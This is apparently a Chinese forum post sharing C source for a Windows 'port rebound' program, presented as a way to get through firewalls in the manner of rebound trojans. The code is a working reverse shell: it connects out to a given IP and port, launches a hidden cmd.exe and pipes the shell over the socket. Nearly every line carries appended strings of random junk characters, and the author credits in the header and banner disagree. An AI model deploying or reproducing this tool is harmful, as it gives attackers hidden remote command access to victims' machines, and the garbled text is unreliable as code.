Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 L=g_@b  
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/* ============================== 2yxi= XWZ  
Rebound port in Windows NT VDpxk$a  
By wind,2006/7 DEtf(lW_  
===============================*/ RHI&j~  
#include 3\+N`!  
#include l;0y-m1  
A?,A(-0C  
#pragma comment(lib,"wsock32.lib") $:;%bjSI  
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void OutputShell(); F. T@)7  
SOCKET sClient; 'Sa!5h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1.0J2nZpt  
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void main(int argc,char **argv) Vhph`[dC{  
{ aS/`A  
WSADATA stWsaData; mp:m`sh*i  
int nRet; L;yEz[#xaT  
SOCKADDR_IN stSaiClient,stSaiServer; /[?Jylj  
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if(argc != 3) ]! )xr  
{ w+=Q6]FxJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); [b;Uz|o  
return; p:tN642  
} km4g}~N</  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9|3o<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y|RdzCM  
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stSaiClient.sin_family = AF_INET; ERC<Dd0  
stSaiClient.sin_port = htons(0); DxfMqH[vs  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ls @5^g  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ }p{;^B  
printf("Bind Socket Failed!\n"); *8UYSA~v  
return; yoU2AMH2D^  
}
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stSaiServer.sin_family = AF_INET; t:T?7-XIE  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !g2a|g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =UUd8,C/  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j ug'g  
{ j+Zt.KXjT  
printf("Connect Error!"); %)JRbX<c  
return; ?gG,
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} MD4\QNUa)*  
OutputShell(); ^@"c`  
} [+gzdLad  
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void OutputShell() 4>k I^  
{ -[$&s FD  
char szBuff[1024]; JY@X2'>v/  
SECURITY_ATTRIBUTES stSecurityAttributes; >?V<$>12  
OSVERSIONINFO stOsversionInfo; )&z4_l8`=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d$[8w/5Of  
STARTUPINFO stStartupInfo; =ybGb7?  
char *szShell; WW6yFriuW  
PROCESS_INFORMATION stProcessInformation; u~
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unsigned long lBytesRead; _:%U_U  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }4vjKSV  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u>|"28y  
stSecurityAttributes.lpSecurityDescriptor = 0; 4=s9A  
stSecurityAttributes.bInheritHandle = TRUE; {MxnIg7'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \xeVDKJH+n  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k/bque  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^ $wJi9D6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  "l2bx  
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; 2&x7W*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oZ-FF'  
4|F#gK5E  
GetVersionEx(&stOsversionInfo); 8}z3CuM  
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switch(stOsversionInfo.dwPlatformId) G4m4k  
{ &-4 ?!  
case 1: gQR1$n0  
szShell = "command.com"; 9FNwpL'C  
break; Y%h}U<y  
default: |Ng"C`$oqv  
szShell = "cmd.exe"; uS-3\$  
break; 6F-JK1i  
} J[r^T&o  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z{M8Yf |  
C$K+=jT  
send(sClient,szMsg,77,0); G *@@K  
while(1) B-dlm8gX  
{ e`AUYli"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fkG##!  
if(lBytesRead) !&JiNn('  
{ ^9'$Oa,*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); avBua6i'  
send(sClient,szBuff,lBytesRead,0); M5 `m.n<  
} ^]7,1dH}M  
else x;mJvfX  
{ 4Cd#sQ  
lBytesRead=recv(sClient,szBuff,1024,0); QPV@'.2m  
if(lBytesRead<=0) break; v~`*(Hh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RM#fX^)=  
} zLK\I~rU!  
} 3G.r-  
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return; #B}Qt5w  
}